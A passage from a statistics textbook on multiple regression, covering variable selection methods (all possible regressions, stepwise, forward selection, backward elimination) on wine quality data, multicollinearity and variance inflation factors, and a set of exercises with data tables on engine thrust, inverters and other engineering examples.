$$\hat{y} = 6.47 + 0.580x_2 + 1.20x_4 - 0.602x_5$$

and the four-variable model is

$$\hat{y} = 4.99 + 1.79x_1 + 0.530x_2 + 1.26x_4 - 0.659x_5$$

Table 12-17 Wine Quality Data

	x_1 Clarity	x_2 Aroma	x_3 Body	x_4 Flavor	x_5 Oakiness	y Quality
1	1.0	3.3	2.8	3.1	4.1	9.8
2	1.0	4.4	4.9	3.5	3.9	12.6
3	1.0	3.9	5.3	4.8	4.7	11.9
4	1.0	3.9	2.6	3.1	3.6	11.1
5	1.0	5.6	5.1	5.5	5.1	13.3
6	1.0	4.6	4.7	5.0	4.1	12.8
7	1.0	4.8	4.8	4.8	3.3	12.8
8	1.0	5.3	4.5	4.3	5.2	12.0
9	1.0	4.3	4.3	3.9	2.9	13.6
10	1.0	4.3	3.9	4.7	3.9	13.9
11	1.0	5.1	4.3	4.5	3.6	14.4
12	0.5	3.3	5.4	4.3	3.6	12.3
13	0.8	5.9	5.7	7.0	4.1	16.1
14	0.7	7.7	6.6	6.7	3.7	16.1
15	1.0	7.1	4.4	5.8	4.1	15.5
16	0.9	5.5	5.6	5.6	4.4	15.5
17	1.0	6.3	5.4	4.8	4.6	13.8
18	1.0	5.0	5.5	5.5	4.1	13.8
19	1.0	4.6	4.1	4.3	3.1	11.3
20	0.9	3.4	5.0	3.4	3.4	7.9
21	0.9	6.4	5.4	6.6	4.8	15.1
22	1.0	5.5	5.3	5.3	3.8	13.5
23	0.7	4.7	4.1	5.0	3.7	10.8
24	0.7	4.1	4.0	4.1	4.0	9.5
25	1.0	6.0	5.4	5.7	4.7	12.7
26	1.0	4.3	4.6	4.7	4.9	11.6
27	1.0	3.9	4.0	5.1	5.1	11.7
28	1.0	5.1	4.9	5.0	5.1	11.9
29	1.0	3.9	4.4	5.0	4.4	10.8
30	1.0	4.5	3.7	2.9	3.9	8.5
31	1.0	5.2	4.3	5.0	6.0	10.7
32	0.8	4.2	3.8	3.0	4.7	9.1
33	1.0	3.3	3.5	4.3	4.5	12.1
34	1.0	6.8	5.0	6.0	5.2	14.9
35	0.8	5.0	5.7	5.5	4.8	13.5
36	0.8	3.5	4.7	4.2	3.3	12.2
37	0.8	4.3	5.5	3.5	5.8	10.3
38	0.8	5.2	4.8	5.7	3.5	13.2

These models should now be evaluated further using residuals plots and the other techniques discussed earlier in the chapter, to see if either model is satisfactory with respect to the underlying assumptions and to determine if one of them is preferable. It turns out that the residual plots do not reveal any major problems with either model. The value of PRESS for the three-variable model is 56.0524 and for the four-variable model it is 60.3327. Since PRESS is smaller in the model with three regressors, and since it is the model with the smallest number of predictors, it would likely be the preferred choice.

Figure 12-12 A matrix of scatter plots from Minitab for the wine quality data.

Table 12-18 Minitab All Possible Regressions Output for the Wine Quality Data

Best Subsets Regression: Quality versus Clarity, Aroma, . . .

Response is Quality

Vars	R-Sq	R-Sq (adj)	C–p	S	Clarity	Aroma	Body	Flavor	Oakiness
1	62.4	61.4	9.0	1.2712				X	
1	50.0	48.6	23.2	1.4658		X			
1	30.1	28.2	46.0	1.7335			X		
2	66.1	64.2	6.8	1.2242				X	X
2	65.9	63.9	7.1	1.2288		X		X	
2	63.3	61.2	10.0	1.2733	X			X	
3	70.4	67.8	3.9	1.1613		X		X	X
3	68.0	65.2	6.6	1.2068	X			X	X
3	66.5	63.5	8.4	1.2357			X	X	X
4	71.5	68.0	4.7	1.1568	X	X		X	X
4	70.5	66.9	5.8	1.1769		X	X	X	X
4	69.3	65.6	7.1	1.1996	X		X	X	X
5	72.1	67.7	6.0	1.1625	X	X	X	X	X

Stepwise Regression

Stepwise regression is probably the most widely used variable selection technique. The procedure iteratively constructs a sequence of regression models by adding or removing variables at each step. The criterion for adding or removing a variable at any step is usually expressed in terms of a partial F-test. Let f_{in} be the value of the F-random variable for adding a variable to the model, and let f_{out} be the value of the F-random variable for removing a variable from the model. We must have $f_{in} \geq f_{out}$, and usually $f_{in} = f_{out}$.

Stepwise regression begins by forming a one-variable model using the regressor variable that has the highest correlation with the response variable Y. This will also be the regressor producing the largest F-statistic. For example, suppose that at this step, x_1 is selected. At the second step, the remaining $K - 1$ candidate variables are examined, and the variable for which the partial F-statistic

$$F_j = \frac{SS_R(\beta_j|\beta_1,\beta_0)}{MS_E(x_j, x_1)} \tag{12-49}$$

is a maximum is added to the equation, provided that $f_j > f_{in}$. In equation 12-49, $MS_E\ (x_j, x_1)$ denotes the mean square for error for the model containing both x_1 and x_j. Suppose that this procedure indicates that x_2 should be added to the model. Now the stepwise regression algorithm determines whether the variable x_1 added at the first step should be removed. This is done by calculating the F-statistic

$$F_1 = \frac{SS_R(\beta_1|\beta_2,\beta_0)}{MS_E(x_1, x_2)} \tag{12-50}$$

If the calculated value $f_1 < f_{out}$, the variable x_1 is removed; otherwise it is retained, and we would attempt to add a regressor to the model containing both x_1 and x_2.

In general, at each step the set of remaining candidate regressors is examined, and the regressor with the largest partial F-statistic is entered, provided that the observed value of f exceeds f_{in}. Then the partial F-statistic for each regressor in the model is calculated, and the regressor with the smallest observed value of F is deleted if the observed $f < f_{out}$. The procedure continues until no other regressors can be added to or removed from the model.

Stepwise regression is almost always performed using a computer program. The analyst exercises control over the procedure by the choice of f_{in} and f_{out}. Some stepwise regression computer programs require that numerical values be specified for f_{in} and f_{out}. Since the number of degrees of freedom on MS_E depends on the number of variables in the model, which changes from step to step, a fixed value of f_{in} and f_{out} causes the type I and type II error rates to vary. Some computer programs allow the analyst to specify the type I error levels for f_{in} and f_{out}. However, the "advertised" significance level is not the true level, because the variable selected is the one that maximizes (or minimizes) the partial F-statistic at that stage. Sometimes it is useful to experiment with different values of f_{in} and f_{out} (or different advertised type I error rates) in several different runs to see if this substantially affects the choice of the final model.

EXAMPLE 12-15 **Wine Quality Stepwise Regression**

Table 12-19 gives the Minitab stepwise regression output for the wine quality data. Minitab uses fixed values of α for entering and removing variables. The default level is $\alpha = 0.15$ for both decisions. The output in Table 12-19 uses the default value. Notice that the variables were entered in the order Flavor (step 1), Oakiness (step 2), and Aroma (step 3) and that no variables were removed. No other variable could be entered, so the algorithm terminated. This is the three-variable model found by all possible regressions that results in a minimum value of C_p.

Table 12-19 Minitab Stepwise Regression Output for the Wine Quality Data

Stepwise Regression: Quality versus Clarity, Aroma, . . .

Alpha-to-Enter: 0.15 Alpha-to-Remove: 0.15

Response is Quality on 5 predictors, with N = 38

Step	1	2	3
Constant	4.941	6.912	6.467
Flavor	1.57	1.64	1.20
T-Value	7.73	8.25	4.36
P-Value	0.000	0.000	0.000
Oakiness		−0.54	−0.60
T-Value		−1.95	−2.28
P-Value		0.059	0.029
Aroma			0.58
T-Value			2.21
P-Value			0.034
S	1.27	1.22	1.16
R-Sq	62.42	66.11	70.38
R-Sq(adj)	61.37	64.17	67.76
C–p	9.0	6.8	3.9

Forward Selection

The **forward selection** procedure is a variation of stepwise regression and is based on the principle that regressors should be added to the model one at a time until there are no remaining candidate regressors that produce a significant increase in the regression sum of squares. That is, variables are added one at a time as long as their partial F-value exceeds f_{in}. Forward selection is a simplification of stepwise regression that omits the partial F-test for deleting variables from the model that have been added at previous steps. This is a potential weakness of forward selection; that is, the procedure does not explore the effect that adding a regressor at the current step has on regressor variables added at earlier steps. Notice that if we were to apply forward selection to the wine quality data, we would obtain exactly the same results as we did with stepwise regression in Example 12-15, since stepwise regression terminated without deleting a variable.

Backward Elimination

The **backward elimination** algorithm begins with all K candidate regressors in the model. Then the regressor with the smallest partial F-statistic is deleted if this F-statistic is insignificant, that is, if $f < f_{out}$. Next, the model with $K - 1$ regressors is fit, and the next regressor for potential elimination is found. The algorithm terminates when no further regressor can be deleted.

Table 12-20 shows the Minitab output for backward elimination applied to the wine quality data. The α value for removing a variable is $\alpha = 0.10$. Notice that this procedure removes Body at step 1 and then Clarity at step 2, terminating with the three-variable model found previously.

Some Comments on Final Model Selection

We have illustrated several different approaches to the selection of variables in multiple linear regression. The final model obtained from any model-building procedure should be subjected

Table 12-20 Minitab Backward Elimination Output for the Wine Quality Data

Stepwise Regression: Quality versus Clarity, Aroma, . . .

Backward elimination. Alpha-to-Remove: 0.1

Response is Quality on 5 predictors, with N = 38

Step	1	2	3
Constant	3.997	4.986	6.467
Clarity	2.3	1.8	
T-Value	1.35	1.12	
P-Value	0.187	0.269	
Aroma	0.48	0.53	0.58
T-Value	1.77	2.00	2.21
P-Value	0.086	0.054	0.034
Body	0.27		
T-Value	0.82		
P-Value	0.418		
Flavor	1.17	1.26	1.20
T-Value	3.84	4.52	4.36
P-Value	0.001	0.000	0.000
Oakiness	−0.68	−0.66	−0.60
T-Value	−2.52	−2.46	−2.28
P-Value	0.017	0.019	0.029
S	1.16	1.16	1.16
R-Sq	72.06	71.47	70.38
R-Sq(adj)	67.69	68.01	67.76
C–p	6.0	4.7	3.9

to the usual adequacy checks, such as residual analysis, lack-of-fit testing, and examination of the effects of influential points. The analyst may also consider augmenting the original set of candidate variables with cross-products, polynomial terms, or other transformations of the original variables that might improve the model. A major criticism of variable selection methods such as stepwise regression is that the analyst may conclude there is one "best" regression equation. Generally, this is not the case, because several equally good regression models can often be used. One way to avoid this problem is to use several different model-building techniques and see if different models result. For example, we have found the same model for the wine quality data using stepwise regression, forward selection, and backward elimination. The same model was also one of the two best found from all possible regressions. The results from variable selection methods frequently do not agree, so this is a good indication that the three-variable model is the best regression equation.

If the number of candidate regressors is not too large, the all-possible regressions method is recommended. We usually recommend using the minimum MS_E and C_p evaluation criteria in conjunction with this procedure. The all-possible regressions approach can find the "best" regression equation with respect to these criteria, while stepwise-type methods offer no such assurance. Furthermore, the all-possible regressions procedure is not distorted by dependencies among the regressors, as stepwise-type methods are.

12-6.4 Multicollinearity

In multiple regression problems, we expect to find dependencies between the response variable Y and the regressors x_j. In most regression problems, however, we find that there are also dependencies among the regressor variables x_j. In situations where these dependencies are strong, we say that **multicollinearity** exists. Multicollinearity can have serious effects on the estimates of the regression coefficients and on the general applicability of the estimated model.

The effects of multicollinearity may be easily demonstrated. The diagonal elements of the matrix $\mathbf{C} = (\mathbf{X}'\mathbf{X})^{-1}$ can be written as

$$C_{jj} = \frac{1}{(1 - R_j^2)} \qquad j = 1, 2, \ldots, k$$

where R_j^2 is the coefficient of multiple determination resulting from regressing x_j on the other $k - 1$ regressor variables. We can think of R_j^2 as a measure of the correlation between x_j and the other regressors. Clearly, the stronger the linear dependency of x_j on the remaining regressor variables, and hence the stronger the multicollinearity, the larger the value of R_j^2 will be. Recall that $V(\hat{\beta}_j) = \sigma^2 C_{jj}$. Therefore, we say that the variance of $\hat{\beta}_j$ is "inflated" by the quantity $(1 - R_j^2)^{-1}$. Consequently, we define the **variance inflation factor** for β_j as

Variance Inflation Factor (VIF)

$$VIF(\beta_j) = \frac{1}{(1 - R_j^2)} \qquad j = 1, 2, \ldots, k \tag{12-51}$$

These factors are an important measure of the extent to which multicollinearity is present. If the columns of the model matrix $\mathbf{X}$ are **orthogonal,** then the regressors are completely uncorrelated, and the variance inflation factors will all be unity. So any VIF that exceeds one indicates some level of multicollinearity in the data.

Although the estimates of the regression coefficients are very imprecise when multicollinearity is present, the fitted model equation may still be useful. For example, suppose we wish to predict new observations on the response. If these predictions are interpolations in the original region of the x-space where the multicollinearity is in effect, satisfactory predictions will often be obtained, because while individual β_j may be poorly estimated, the function $\sum_{j=1}^{k} \beta_j x_{ij}$ may be estimated quite well. On the other hand, if the prediction of new observations requires extrapolation beyond the original region of the x-space where the data were collected, generally we would expect to obtain poor results. Extrapolation usually requires good estimates of the individual model parameters.

Multicollinearity arises for several reasons. It will occur when the analyst collects data such that a linear constraint holds approximately among the columns of the $\mathbf{X}$ matrix. For example, if four regressor variables are the components of a mixture, such a constraint will always exist because the sum of the components is always constant. Usually, these constraints do not hold exactly, and the analyst might not know that they exist.

The presence of multicollinearity can be detected in several ways. Two of the more easily understood of these will be discussed briefly.

1. The **variance inflation factors,** defined in Equation 12-51, are very useful measures of multicollinearity. The larger the variance inflation factor, the more severe the multicollinearity. Some authors have suggested that if any variance inflation factor exceeds 10, multicollinearity is a problem. Other authors consider this value too liberal and suggest that the variance inflation factors should not exceed 4 or 5. Minitab will calculate the variance inflation factors. Table 12-4 presents the Minitab

multiple regression output for the wire bond pull strength data. Since both VIF_1 and VIF_2 are small, there is no problem with multicollinearity.

2. If the F-test for significance of regression is significant, but tests on the individual regression coefficients are not significant, multicollinearity may be present.

Several remedial measures have been proposed for solving the problem of multicollinearity. Augmenting the data with new observations specifically designed to break up the approximate linear dependencies that currently exist is often suggested. However, this is sometimes impossible because of economic reasons or because of the physical constraints that relate the x_j. Another possibility is to delete certain variables from the model, but this approach has the disadvantage of discarding the information contained in the deleted variables.

Since multicollinearity primarily affects the stability of the regression coefficients, it would seem that estimating these parameters by some method that is less sensitive to multicollinearity than ordinary least squares would be helpful. Several methods have been suggested. One alternative to ordinary least squares, **ridge regression,** can be useful in combating multicollinearity. For more details on ridge regression, there are more extensive presentations in Montgomery, Peck, and Vining (2006) and Myers (1990).

EXERCISES FOR SECTION 12-6

12-72. An article entitled "A Method for Improving the Accuracy of Polynomial Regression Analysis" in the *Journal of Quality Technology* (1971, pp. 149–155) reported the following data on y = ultimate shear strength of a rubber compound (psi) and x = cure temperature (°F).

y	770	800	840	810
x	280	284	292	295
y	735	640	590	560
x	298	305	308	315

(a) Fit a second-order polynomial to these data.
(b) Test for significance of regression using $\alpha = 0.05$.
(c) Test the hypothesis that $\beta_{11} = 0$ using $\alpha = 0.05$.
(d) Compute the residuals from part (a) and use them to evaluate model adequacy.

12-73. Consider the following data, which result from an experiment to determine the effect of x = test time in hours at a particular temperature on y = change in oil viscosity:
(a) Fit a second-order polynomial to the data.

y	−1.42	−1.39	−1.55	−1.89	−2.43
x	.25	.50	.75	1.00	1.25
y	−3.15	−4.05	−5.15	−6.43	−7.89
x	1.50	1.75	2.00	2.25	2.50

(b) Test for significance of regression using $\alpha = 0.05$.
(c) Test the hypothesis that $\beta_{11} = 0$ using $\alpha = 0.05$.
(d) Compute the residuals from part (a) and use them to evaluate model adequacy.

12-74. The following data were collected during an experiment to determine the change in thrust efficiency (y, in percent) as the divergence angle of a rocket nozzle (x) changes:

y	24.60	24.71	23.90	39.50	39.60	57.12
x	4.0	4.0	4.0	5.0	5.0	6.0
y	67.11	67.24	67.15	77.87	80.11	84.67
x	6.5	6.5	6.75	7.0	7.1	7.3

(a) Fit a second-order model to the data.
(b) Test for significance of regression and lack of fit using $\alpha = 0.05$.
(c) Test the hypothesis that $\beta_{11} = 0$, using $\alpha = 0.05$.
(d) Plot the residuals and comment on model adequacy.
(e) Fit a cubic model, and test for the significance of the cubic term using $\alpha = 0.05$.

12-75. An article in the *Journal of Pharmaceuticals Sciences* (Vol. 80, 1991, pp. 971–977) presents data on the observed mole fraction solubility of a solute at a constant temperature and the dispersion, dipolar, and hydrogen bonding Hansen partial solubility parameters. The data are as shown in the following table, where y is the negative logarithm of the mole fraction solubility, x_1 is the dispersion partial solubility, x_2 is the dipolar partial solubility, and x_3 is the hydrogen bonding partial solubility.
(a) Fit the model $Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_3 + \beta_{12}x_1x_2 + \beta_{13}x_1x_3 + \beta_{23}x_2x_3 + \beta_{11}x_1^2 + \beta_{22}x_2^2 + \beta_{33}x_3^2 + \epsilon$.
(b) Test for significance of regression using $\alpha = 0.05$.
(c) Plot the residuals and comment on model adequacy.
(d) Use the extra sum of squares method to test the contribution of the second-order terms using $\alpha = 0.05$.

Observation Number	y	x_1	x_2	x_3
1	0.22200	7.3	0.0	0.0
2	0.39500	8.7	0.0	0.3
3	0.42200	8.8	0.7	1.0
4	0.43700	8.1	4.0	0.2
5	0.42800	9.0	0.5	1.0
6	0.46700	8.7	1.5	2.8
7	0.44400	9.3	2.1	1.0
8	0.37800	7.6	5.1	3.4
9	0.49400	10.0	0.0	0.3
10	0.45600	8.4	3.7	4.1
11	0.45200	9.3	3.6	2.0
12	0.11200	7.7	2.8	7.1
13	0.43200	9.8	4.2	2.0
14	0.10100	7.3	2.5	6.8
15	0.23200	8.5	2.0	6.6
16	0.30600	9.5	2.5	5.0
17	0.09230	7.4	2.8	7.8
18	0.11600	7.8	2.8	7.7
19	0.07640	7.7	3.0	8.0
20	0.43900	10.3	1.7	4.2
21	0.09440	7.8	3.3	8.5
22	0.11700	7.1	3.9	6.6
23	0.07260	7.7	4.3	9.5
24	0.04120	7.4	6.0	10.9
25	0.25100	7.3	2.0	5.2
26	0.00002	7.6	7.8	20.7

12-76. Consider the arsenic concentration data in Exercise 12-10.

(a) Discuss how you would model the information about the person's sex.

(b) Fit a regression model to the arsenic in nails using age, drink use, cook use, and the person's sex as the regressors.

(c) Is there evidence that the person's sex affects arsenic in the nails? Why?

12-77. Consider the gasoline mileage data in Exercise 12-7.

(a) Discuss how you would model the information about the type of transmission in the car.

(b) Fit a regression model to the gasoline mileage using *cid*, *etw*, and the type of transmission in the car as the regressors.

(c) Is there evidence that the type of transmission (L4, L5, or M6) affects gasoline mileage performance?

12-78. Consider the surface finish data in Example 12-15. Test the hypothesis that two different regression models (with different slopes and intercepts) are required to adequately model the data. Use indicator variables in answering this question.

12-79. Consider the X-ray inspection data in Exercise 12-11. Use rads as the response. Build regression models for the data using the following techniques:

(a) All possible regressions.

(b) Stepwise regression.

(c) Forward selection.

(d) Backward elimination.

(e) Comment on the models obtained. Which model would you prefer? Why?

12-80. Consider the electric power data in Exercise 12-6. Build regression models for the data using the following techniques:

(a) All possible regressions. Find the minimum C_p and minimum MS_E equations.

(b) Stepwise regression.

(c) Forward selection.

(d) Backward elimination.

(e) Comment on the models obtained. Which model would you prefer?

12-81. Consider the regression model fit to the coal and limestone mixture data in Exercise 12-13. Use density as the response. Build regression models for the data using the following techniques:

(a) All possible regressions.

(b) Stepwise regression.

(c) Forward selection.

(d) Backward elimination.

(e) Comment on the models obtained. Which model would you prefer? Why?

12-82. Consider the wire bond pull strength data in Exercise 12-8. Build regression models for the data using the following methods:

(a) All possible regressions. Find the minimum C_p and minimum MS_E equations.

(b) Stepwise regression.

(c) Forward selection.

(d) Backward elimination.

(e) Comment on the models obtained. Which model would you prefer?

12-83. Consider the grey range modulation data in Exercise 12-15. Use the useful range as the response. Build regression models for the data using the following techniques:

(a) All possible regressions.

(b) Stepwise regression.

(c) Forward selection.

(d) Backward elimination.

(e) Comment on the models obtained. Which model would you prefer? Why?

12-84. Consider the nisin extraction data in Exercise 12-14. Build regression models for the data using the following techniques:

(a) All possible regressions.

(b) Stepwise regression.

(c) Forward selection.

(d) Backward elimination.
(e) Comment on the models obtained. Which model would you prefer? Why?

12.85. Consider the stack loss data in Exercise 12-16. Build regression models for the data using the following techniques:
(a) All possible regressions.
(b) Stepwise regression.
(c) Forward selection.
(d) Backward elimination.
(e) Comment on the models obtained. Which model would you prefer? Why?
(f) Remove any influential data points and repeat the model building in the previous parts? Does your conclusion in part (e) change?

12-86. Consider the NHL data in Exercise 12-18. Build regression models for these data with regressors *GF* through *FG* using the following methods:
(a) All possible regressions. Find the minimum C_p and minimum MS_E equations.
(b) Stepwise regression.
(c) Forward selection.
(d) Backward elimination.
(e) Which model would you prefer?

12-87. Use the football data in Exercise 12-17 to build regression models using the following techniques:
(a) All possible regressions. Find the equations that minimize MS_E and that minimize C_p.
(b) Stepwise regression.
(c) Forward selection.
(d) Backward elimination.
(e) Comment on the various models obtained. Which model seems "best," and why?

12-88. Consider the arsenic data in Exercise 12-12. Use arsenic in nails as the response and age, drink use, and cook use as the regressors. Build regression models for the data using the following techniques:
(a) All possible regressions.
(b) Stepwise regression.
(c) Forward selection.
(d) Backward elimination.
(e) Comment on the models obtained. Which model would you prefer? Why?
(f) Now construct an indicator variable and add the person's sex to the list of regressors. Repeat the model building in the previous parts. Does your conclusion in part (e) change?

12-89. Consider the gas mileage data in Exercise 12-7. Build regression models for the data from the numerical regressors using the following techniques:
(a) All possible regressions.
(b) Stepwise regression.
(c) Forward selection.
(d) Backward elimination.
(e) Comment on the models obtained. Which model would you prefer? Why?
(f) Now construct indicator variable for *trns* and *drv* and add these to the list of regressors. Repeat the model building in the previous parts. Does your conclusion in part (e) change?

12-90. When fitting polynomial regression models, we often subtract $\bar{x}$ from each x value to produce a "centered" regressor $x' = x - \bar{x}$. This reduces the effects of dependencies among the model terms and often leads to more accurate estimates of the regression coefficients. Using the data from Exercise 12-72, fit the model $Y = \beta_0^* + \beta_1^* x' + \beta_{11}^*(x')^2 + \epsilon$.
(a) Use the results to estimate the coefficients in the uncentered model $Y = \beta_0 + \beta_1 x + \beta_{11}x^2 + \epsilon$. Predict y when $x = 285°\text{F}$. Suppose that we use a standardized variable $x' = (x - \bar{x})/s_x$, where s_x is the standard deviation of x, in constructing a polynomial regression model. Fit the model $Y = \beta_0^* + \beta_1^* x' + \beta_{11}^*(x')^2 + \epsilon$.
(b) What value of y do you predict when $x = 285°\text{F}$?
(c) Estimate the regression coefficients in the unstandardized model $Y = \beta_0 + \beta_1 x + \beta_{11}x^2 + \epsilon$.
(d) What can you say about the relationship between SS_E and R^2 for the standardized and unstandardized models?
(e) Suppose that $y' = (y - \bar{y})/s_y$ is used in the model along with x'. Fit the model and comment on the relationship between SS_E and R^2 in the standardized model and the unstandardized model.

12-91. Consider the data in Exercise 12-75. Use all the terms in the full quadratic model as the candidate regressors.
(a) Use forward selection to identify a model.
(b) Use backward elimination to identify a model.
(c) Compare the two models obtained in parts (a) and (b). Which model would you prefer and why?

12-92. We have used a sample of 30 observations to fit a regression model. The full model has nine regressors, the variance estimate is $\hat{\sigma}^2 = MS_E = 100$, and $R^2 = 0.92$.
(a) Calculate the F-statistic for testing significance of regression. Using $\alpha = 0.05$, what would you conclude?
(b) Suppose that we fit another model using only four of the original regressors and that the error sum of squares for this new model is 2200. Find the estimate of σ^2 for this new reduced model. Would you conclude that the reduced model is superior to the old one? Why?
(c) Find the value of C_p for the reduced model in part (b). Would you conclude that the reduced model is better than the old model?

12-93. A sample of 25 observations is used to fit a regression model in seven variables. The estimate of σ^2 for this full model is $MS_E = 10$.
(a) A forward selection algorithm has put three of the original seven regressors in the model. The error sum of squares for the three-variable model is $SS_E = 300$. Based on C_p, would you conclude that the three-variable model has any remaining bias?

(b) After looking at the forward selection model in part (a), suppose you could add one more regressor to the model. This regressor will reduce the error sum of squares to 275. Will the addition of this variable improve the model? Why?

Supplemental Exercises

12-94. Consider the computer output below.

The regression equation is
Y = 517 + 11.5 x1 − 8.14 x2 + 10.9 x3

Predictor	Coef	SE Coef	T	P
Constant	517.46	11.76	?	?
x1	11.4720	?	36.50	?
x2	−8.1378	0.1969	?	?
x3	10.8565	0.6652	?	?

S = 10.2560 R–Sq = ? R–Sq (adj) = ?

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	?	347300	115767	?	?
Residual Error	16	?	105		
Total	19	348983			

(a) Fill in the missing values. Use bounds for the P-values.
(b) Is the overall model significant at $\alpha = 0.05$? Is it significant at $\alpha = 0.01$?
(c) Discuss the contribution of the individual regressors to the model.

12-95. Consider the following inverse of the model matrix:

$$(\mathbf{X}'\mathbf{X})^{-1} = \begin{bmatrix} 0.893758 & -0.028245 & -0.0175641 \\ -0.028245 & 0.0013329 & 0.0001547 \\ -0.017564 & 0.0001547 & 0.0009108 \end{bmatrix}$$

(a) How many variables are in the regression model?
(b) If the estimate of σ^2 is 50, what is the estimate of the variance of each regression coefficient?
(c) What is the standard error of the intercept?

12-96. The data shown in Table 12-22 represent the thrust of a jet-turbine engine (y) and six candidate regressors: x_1 = primary speed of rotation, x_2 = secondary speed of rotation, x_3 = fuel flow rate, x_4 = pressure, x_5 = exhaust temperature, and x_6 = ambient temperature at time of test.
(a) Fit a multiple linear regression model using x_3 = fuel flow rate, x_4 = pressure, and x_5 = exhaust temperature as the regressors.
(b) Test for significance of regression using $\alpha = 0.01$. Find the P-value for this test. What are your conclusions?
(c) Find the t-test statistic for each regressor. Using $\alpha = 0.01$, explain carefully the conclusion you can draw from these statistics.
(d) Find R^2 and the adjusted statistic for this model.
(e) Construct a normal probability plot of the residuals and interpret this graph.
(f) Plot the residuals versus $\hat{y}$. Are there any indications of inequality of variance or nonlinearity?
(g) Plot the residuals versus x_3. Is there any indication of nonlinearity?
(h) Predict the thrust for an engine for which $x_3 = 28900$, $x_4 = 170$, and $x_5 = 1589$.

12-97. Consider the engine thrust data in Exercise 12-96. Refit the model using $y^* = \ln y$ as the response variable and $x_3^* = \ln x_3$ as the regressor (along with x_4 and x_5).
(a) Test for significance of regression using $\alpha = 0.01$. Find the P-value for this test and state your conclusions.
(b) Use the t-statistic to test H_0: $\beta_j = 0$ versus H_1: $\beta_j \neq 0$ for each variable in the model. If $\alpha = 0.01$, what conclusions can you draw?
(c) Plot the residuals versus $\hat{y}^*$ and versus x_3^*. Comment on these plots. How do they compare with their counterparts obtained in Exercise 12-96 parts (f) and (g)?

12-98. Transient points of an electronic inverter are influenced by many factors. Table 12-21 gives data on the transient point (y, in volts) of PMOS-NMOS inverters and five candidate regressors: x_1 = width of the NMOS device, x_2 = length

Table 12-21 Transient Point of an Electronic Inverter

Observation Number	x_1	x_2	x_3	x_4	x_5	y
1	3	3	3	3	0	0.787
2	8	30	8	8	0	0.293
3	3	6	6	6	0	1.710
4	4	4	4	12	0	0.203
5	8	7	6	5	0	0.806
6	10	20	5	5	0	4.713
7	8	6	3	3	25	0.607
8	6	24	4	4	25	9.107
9	4	10	12	4	25	9.210
10	16	12	8	4	25	1.365
11	3	10	8	8	25	4.554
12	8	3	3	3	25	0.293
13	3	6	3	3	50	2.252
14	3	8	8	3	50	9.167
15	4	8	4	8	50	0.694
16	5	2	2	2	50	0.379
17	2	2	2	3	50	0.485
18	10	15	3	3	50	3.345
19	15	6	2	3	50	0.208
20	15	6	2	3	75	0.201
21	10	4	3	3	75	0.329
22	3	8	2	2	75	4.966
23	6	6	6	4	75	1.362
24	2	3	8	6	75	1.515
25	3	3	8	8	75	0.751

Table 12-22 Thrust of a Jet-Turbine Engine

Observation Number	y	x_1	x_2	x_3	x_4	x_5	x_6
1	4540	2140	20640	30250	205	1732	99
2	4315	2016	20280	30010	195	1697	100
3	4095	1905	19860	29780	184	1662	97
4	3650	1675	18980	29330	164	1598	97
5	3200	1474	18100	28960	144	1541	97
6	4833	2239	20740	30083	216	1709	87
7	4617	2120	20305	29831	206	1669	87
8	4340	1990	19961	29604	196	1640	87
9	3820	1702	18916	29088	171	1572	85
10	3368	1487	18012	28675	149	1522	85
11	4445	2107	20520	30120	195	1740	101
12	4188	1973	20130	29920	190	1711	100
13	3981	1864	19780	29720	180	1682	100
14	3622	1674	19020	29370	161	1630	100
15	3125	1440	18030	28940	139	1572	101
16	4560	2165	20680	30160	208	1704	98
17	4340	2048	20340	29960	199	1679	96
18	4115	1916	19860	29710	187	1642	94
19	3630	1658	18950	29250	164	1576	94
20	3210	1489	18700	28890	145	1528	94
21	4330	2062	20500	30190	193	1748	101
22	4119	1929	20050	29960	183	1713	100
23	3891	1815	19680	29770	173	1684	100
24	3467	1595	18890	29360	153	1624	99
25	3045	1400	17870	28960	134	1569	100
26	4411	2047	20540	30160	193	1746	99
27	4203	1935	20160	29940	184	1714	99
28	3968	1807	19750	29760	173	1679	99
29	3531	1591	18890	29350	153	1621	99
30	3074	1388	17870	28910	133	1561	99
31	4350	2071	20460	30180	198	1729	102
32	4128	1944	20010	29940	186	1692	101
33	3940	1831	19640	29750	178	1667	101
34	3480	1612	18710	29360	156	1609	101
35	3064	1410	17780	28900	136	1552	101
36	4402	2066	20520	30170	197	1758	100
37	4180	1954	20150	29950	188	1729	99
38	3973	1835	19750	29740	178	1690	99
39	3530	1616	18850	29320	156	1616	99
40	3080	1407	17910	28910	137	1569	100

of the NMOS device, x_3 = width of the PMOS device, x_4 = length of the PMOS device, and x_5 = temperature (°C).

(a) Fit a multiple linear regression model that uses all regressors to these data. Test for significance of regression using $\alpha = 0.01$. Find the P-value for this test and use it to draw your conclusions.

(b) Test the contribution of each variable to the model using the t-test with $\alpha = 0.05$. What are your conclusions?

(c) Delete x_5 from the model. Test the new model for significance of regression. Also test the relative contribution of each regressor to the new model with the t-test. Using $\alpha = 0.05$, what are your conclusions?

(d) Notice that the MS_E for the model in part (c) is smaller than the MS_E for the full model in part (a). Explain why this has occurred.

(e) Calculate the studentized residuals. Do any of these seem unusually large?

(f) Suppose that you learn that the second observation was recorded incorrectly. Delete this observation and refit the model using x_1, x_2, x_3, and x_4 as the regressors. Notice that the R^2 for this model is considerably higher than the R^2 for either of the models fitted previously. Explain why the R^2 for this model has increased.

(g) Test the model from part (f) for significance of regression using $\alpha = 0.05$. Also investigate the contribution of each regressor to the model using the t-test with $\alpha = 0.05$. What conclusions can you draw?

(h) Plot the residuals from the model in part (f) versus $\hat{y}$ and versus each of the regressors x_1, x_2, x_3, and x_4. Comment on the plots.

12-99. Consider the inverter data in Exercise 12-98. Delete observation 2 from the original data. Define new variables as follows: $y^* = \ln y$, $x_1^* = 1/\sqrt{x_1}$, $x_2^* = \sqrt{x_2}$, $x_3^* = 1/\sqrt{x_3}$, and $x_4^* = \sqrt{x_4}$.

(a) Fit a regression model using these transformed regressors (do not use x_5).

(b) Test the model for significance of regression using $\alpha = 0.05$. Use the t-test to investigate the contribution of each variable to the model ($\alpha = 0.05$). What are your conclusions?

(c) Plot the residuals versus $\hat{y}^*$ and versus each of the transformed regressors. Comment on the plots.

12-100. Following are data on y = green liquor (g/l) and x = paper machine speed (feet per minute) from a Kraft paper machine. (The data were read from a graph in an article in the *Tappi Journal*, March 1986.)

y	16.0	15.8	15.6	15.5	14.8
x	1700	1720	1730	1740	1750
y	14.0	13.5	13.0	12.0	11.0
